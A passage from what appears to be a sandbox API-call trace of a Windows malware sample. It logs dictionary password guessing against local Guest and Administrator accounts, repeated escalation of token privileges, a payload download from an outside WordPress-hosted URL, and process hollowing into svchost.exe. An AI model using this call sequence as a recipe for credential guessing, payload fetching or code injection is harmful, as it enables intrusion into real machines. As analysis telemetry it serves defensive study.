dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.646] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="asshole", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.646] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="apple", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.649] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x1d, HighPart=0)) returned 1 [0055.649] GetCurrentProcess () returned 0xffffffff [0055.649] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.649] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.649] CloseHandle (hObject=0x3e4) returned 1 [0055.649] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeTcbPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x7, HighPart=0)) returned 1 [0055.650] GetCurrentProcess () returned 0xffffffff [0055.650] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.650] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x7, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.650] CloseHandle (hObject=0x3e4) returned 1 [0055.650] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeChangeNotifyPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x17, HighPart=0)) returned 1 [0055.650] GetCurrentProcess () returned 0xffffffff [0055.650] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.650] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.650] CloseHandle (hObject=0x3e4) returned 1 [0055.650] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeCreateTokenPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x2, HighPart=0)) returned 1 [0055.650] GetCurrentProcess () returned 0xffffffff [0055.650] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.650] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x2, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.650] CloseHandle (hObject=0x3e4) returned 1 [0055.650] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x11, HighPart=0)) returned 1 [0055.651] GetCurrentProcess () returned 0xffffffff [0055.651] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.651] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.651] CloseHandle (hObject=0x3e4) returned 1 [0055.651] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x12, HighPart=0)) returned 1 [0055.651] GetCurrentProcess () returned 0xffffffff [0055.651] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.651] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.651] CloseHandle (hObject=0x3e4) returned 1 [0055.651] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeIncreaseQuotaPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x5, HighPart=0)) returned 1 [0055.652] GetCurrentProcess () returned 0xffffffff [0055.652] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.652] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.652] CloseHandle (hObject=0x3e4) returned 1 [0055.652] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeAssignPrimaryTokenPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x3, HighPart=0)) returned 1 [0055.652] GetCurrentProcess () returned 0xffffffff [0055.652] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.652] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x3, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.652] CloseHandle (hObject=0x3e4) returned 1 [0055.652] lstrcmpiA (lpString1="aDU0VK IWA5kLS", lpString2="aDU0VK IWA5kLS") returned 0 [0055.652] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x1d, HighPart=0)) returned 1 [0055.652] GetCurrentProcess () returned 0xffffffff [0055.652] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.652] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.652] CloseHandle (hObject=0x3e4) returned 1 [0055.652] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeTcbPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x7, HighPart=0)) returned 1 [0055.653] GetCurrentProcess () returned 0xffffffff [0055.653] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.653] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x7, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.653] CloseHandle (hObject=0x3e4) returned 1 [0055.653] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeChangeNotifyPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x17, HighPart=0)) returned 1 [0055.653] GetCurrentProcess () returned 0xffffffff [0055.653] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.653] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.653] CloseHandle (hObject=0x3e4) returned 1 [0055.653] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeCreateTokenPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x2, HighPart=0)) returned 1 [0055.654] GetCurrentProcess () returned 0xffffffff [0055.654] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.654] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x2, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.654] CloseHandle (hObject=0x3e4) returned 1 [0055.654] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x11, HighPart=0)) returned 1 [0055.654] GetCurrentProcess () returned 0xffffffff [0055.654] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.654] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.654] CloseHandle (hObject=0x3e4) returned 1 [0055.654] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x12, HighPart=0)) returned 1 [0055.655] GetCurrentProcess () returned 0xffffffff [0055.655] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.655] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.655] CloseHandle (hObject=0x3e4) returned 1 [0055.655] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeIncreaseQuotaPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x5, HighPart=0)) returned 1 [0055.655] GetCurrentProcess () returned 0xffffffff [0055.655] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.655] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.655] CloseHandle (hObject=0x3e4) returned 1 [0055.655] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeAssignPrimaryTokenPrivilege", lpLuid=0xefdb0 | out: lpLuid=0xefdb0*(LowPart=0x3, HighPart=0)) returned 1 [0055.655] GetCurrentProcess () returned 0xffffffff [0055.655] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xefdac | out: TokenHandle=0xefdac*=0x3e4) returned 1 [0055.655] AdjustTokenPrivileges (in: TokenHandle=0x3e4, DisableAllPrivileges=0, NewState=0xefd9c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x3, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.655] CloseHandle (hObject=0x3e4) returned 1 [0055.655] lstrcmpiA (lpString1="aDU0VK IWA5kLS", lpString2="Administrator") returned 1 [0055.656] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="Administrator", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.656] lstrlenA (lpString="Administrator") returned 13 [0055.656] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x76a8a0 [0055.656] lstrcpyA (in: lpString1=0x76a8a0, lpString2="Administrator" | out: lpString1="Administrator") returned="Administrator" [0055.656] lstrlenA (lpString="Administrator") returned 13 [0055.656] LCMapStringA (in: Locale=0x400, dwMapFlags=0x100, lpSrcStr="Administrator", cchSrc=13, lpDestStr=0x76a8a0, cchDest=13 | out: lpDestStr="administrator") returned 13 [0055.656] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="administrator", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.656] LocalFree (hMem=0x76a8a0) returned 0x0 [0055.720] InternetCrackUrlA (in: lpszUrl="http://tekstheks.nl/wp-admin/includes/2", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xefbc4 | out: lpUrlComponents=0xefbc4) returned 1 [0055.720] InternetConnectA (hInternet=0xcc0004, lpszServerName="tekstheks.nl", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0055.720] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/wp-admin/includes/2", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x407050*="*/*", dwFlags=0x84080100, dwContext=0x1) returned 0xcc000c [0055.720] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0055.824] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xefc0c, lpdwBufferLength=0xefc00, lpdwIndex=0x0 | out: lpBuffer=0xefc0c*, lpdwBufferLength=0xefc00*=0x4, lpdwIndex=0x0) returned 1 [0055.824] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x8b20020, dwNumberOfBytesToRead=0x500000, lpdwNumberOfBytesRead=0xefc10 | out: lpBuffer=0x8b20020*, lpdwNumberOfBytesRead=0xefc10*=0xb92b) returned 1 [0055.942] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x8b2b94b, dwNumberOfBytesToRead=0x4f46d5, lpdwNumberOfBytesRead=0xefc10 | out: lpBuffer=0x8b2b94b*, lpdwNumberOfBytesRead=0xefc10*=0x0) returned 1 [0055.942] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0055.942] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0055.942] RtlDecompressBuffer (in: CompressionFormat=0x2, UncompressedBuffer=0x9500020, UncompressedBufferSize=0x500000, CompressedBuffer=0x8b20028, CompressedBufferSize=0xb923, FinalUncompressedSize=0xefc14 | out: UncompressedBuffer=0x9500020, FinalUncompressedSize=0xefc14) returned 0x0 [0055.946] GetEnvironmentVariableA (in: lpName="SystemRoot", lpBuffer=0xefccc, nSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0055.946] lstrcatA (in: lpString1="C:\\Windows", lpString2="\\System32\\svchost.exe" | out: lpString1="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0055.946] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\svchost.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x424, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xefdd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xefe14 | out: lpCommandLine="C:\\Windows\\System32\\svchost.exe", lpProcessInformation=0xefe14*(hProcess=0x3f0, hThread=0x3ec, dwProcessId=0xa68, dwThreadId=0xa6c)) returned 1 [0055.952] VirtualAllocEx (hProcess=0x3f0, lpAddress=0xbc00000, dwSize=0x12000, flAllocationType=0x3000, flProtect=0x40) returned 0xbc00000 [0055.966] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0xbc00000, lpBuffer=0x9418758*, nSize=0x12000, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x9418758*, lpNumberOfBytesWritten=0x0) returned 1 [0055.968] GetThreadContext (in: hThread=0x3ec, lpContext=0xefb4c | out: lpContext=0xefb4c*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x4f2104, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0055.968] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x7efde008, lpBuffer=0xefe28*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xefe28*, lpNumberOfBytesWritten=0x0) returned 1 [0055.968] SetThreadContext (hThread=0x3ec, lpContext=0xefb4c*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, 